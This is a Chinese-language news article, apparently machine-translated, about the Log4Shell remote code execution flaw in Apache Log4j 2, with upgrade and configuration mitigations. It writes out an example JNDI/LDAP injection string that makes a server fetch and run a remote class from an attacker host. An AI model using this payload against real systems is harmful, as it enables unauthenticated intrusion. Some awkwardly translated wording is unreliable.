Log4Shell,Apache Log4j 2 中的一个严重漏洞,影响了许多 Java 项目

最近的e 发布消息,Apache Log4j 2 发现严重漏洞,它的特点是在 Java 应用程序中组织注册表的流行框架,允许在将特殊格式的值以“{jndi: URL}”格式写入注册表时执行任意代码。

脆弱性 值得注意的是,攻击可以在 Java 应用程序中进行它们记录从外部来源获得的值,例如通过在错误消息中显示有问题的值。

据观察, 几乎所有使用 Apache Struts、Apache Solr、Apache Druid 或 Apache Flink 等框架的项目都受到影响, 包括 Steam、Apple iCloud、Minecraft 客户端和服务器。

该漏洞预计将引发一波针对企业应用的大规模攻击浪潮,重演框架 Apache Struts 中关键漏洞的历史,粗略估计有 65% 的财富 100 强 Web 应用使用了该公司的 Web 应用列表包括已经记录的扫描网络易受攻击系统的尝试。

该漏洞允许远程执行未经身份验证的代码。 Log4j 2 是由 Apache 基金会开发的开源 Java 日志库。 Log4j 2 广泛用于许多应用程序,并作为依赖项存在于许多服务中。 其中包括业务应用程序以及众多云服务。

Randori 攻击团队开发了一个功能性漏洞,并且能够在客户环境中成功利用此漏洞作为我们攻击性安全平台的一部分。 

可以通过多种特定于应用程序的方法访问该漏洞。 实际上,任何允许远程连接提供使用 Log4j 库的应用程序写入日志文件的任意数据的场景都容易被利用。 此漏洞极有可能在野外被利用,并可能影响数千个组织。 此漏洞对受影响的系统构成重大的实际风险。

由于功能漏洞已经发布,例如,问题变得更加复杂。但是尚未生成稳定分支的修复程序。 尚未分配 CVE 标识符。 该解决方案仅包含在 log4j-2.15.0-rc1 测试分支中。 作为阻止漏洞的变通方法,建议将 Log4j2.formatMsgNoLookups 参数设置为 true。

问题 这是因为 Log4j 2 支持在日志行中处理特殊掩码«{}»,其中 可以运行 JNDI 查询 (Java 命名和目录接口)。

在分析 CVE-2021-44228 时,Randori 确定了以下内容:

广泛使用的商业软件的默认安装很容易受到攻击。
该漏洞可以被可靠地利用而无需身份验证。
该漏洞影响多个版本的 Log4j 2。
当用户使用库运行应用程序时,该漏洞允许远程执行代码。

攻击归结为传递一个带有替换“$ {jndi: ldap: //example.com/a}”的字符串,处理Log4j 2 将向attacker.com 服务器发送一个LDAP 请求,请求Java 类的路径. 攻击者服务器返回的路径(例如http://example.com/Exploit.class)会在当前进程的上下文中加载并执行,从而允许攻击者在具有权限的系统上实现任意代码执行当前应用程序的。

最后,提到 如果发现异常,建议您假设这是一个活跃的事件,它已被破坏,并做出相应的响应。 升级到 Log4j 2 或受影响应用程序的修补版本将消除此漏洞。 Randori 建议任何认为可能受到影响的组织紧急升级到修补版本。

在 Apache Log4j 团队的最新更新中, 建议组织执行以下操作

  • 更新到 Log4j 2.15.0
  • 对于无法升级到 2.15.0 的用户:在版本> = 2.10 中,可以通过将 log4j2.formatMsgNoLookup 系统属性或 LOG4J_FORMAT_MSG_NO_LOOKUPS 环境变量设置为 true 来缓解此漏洞。
  • 对于 2,0-beta9 到 2.10.0 版本,缓解措施是从类路径中删除 JndiLookup 类:zip -q -d log4j-core - *.Jar org/apache/logging/log4j/core/lookup/JndiLookup.class。

数据来源: https://www.lunasec.io/


发表您的评论

您的电子邮件地址将不会被发表。 必填字段标有 *

*

*

  1. 负责数据:MiguelÁngelGatón
  2. 数据用途:控制垃圾邮件,注释管理。
  3. 合法性:您的同意
  4. 数据通讯:除非有法律义务,否则不会将数据传达给第三方。
  5. 数据存储:Occentus Networks(EU)托管的数据库
  6. 权利:您可以随时限制,恢复和删除您的信息。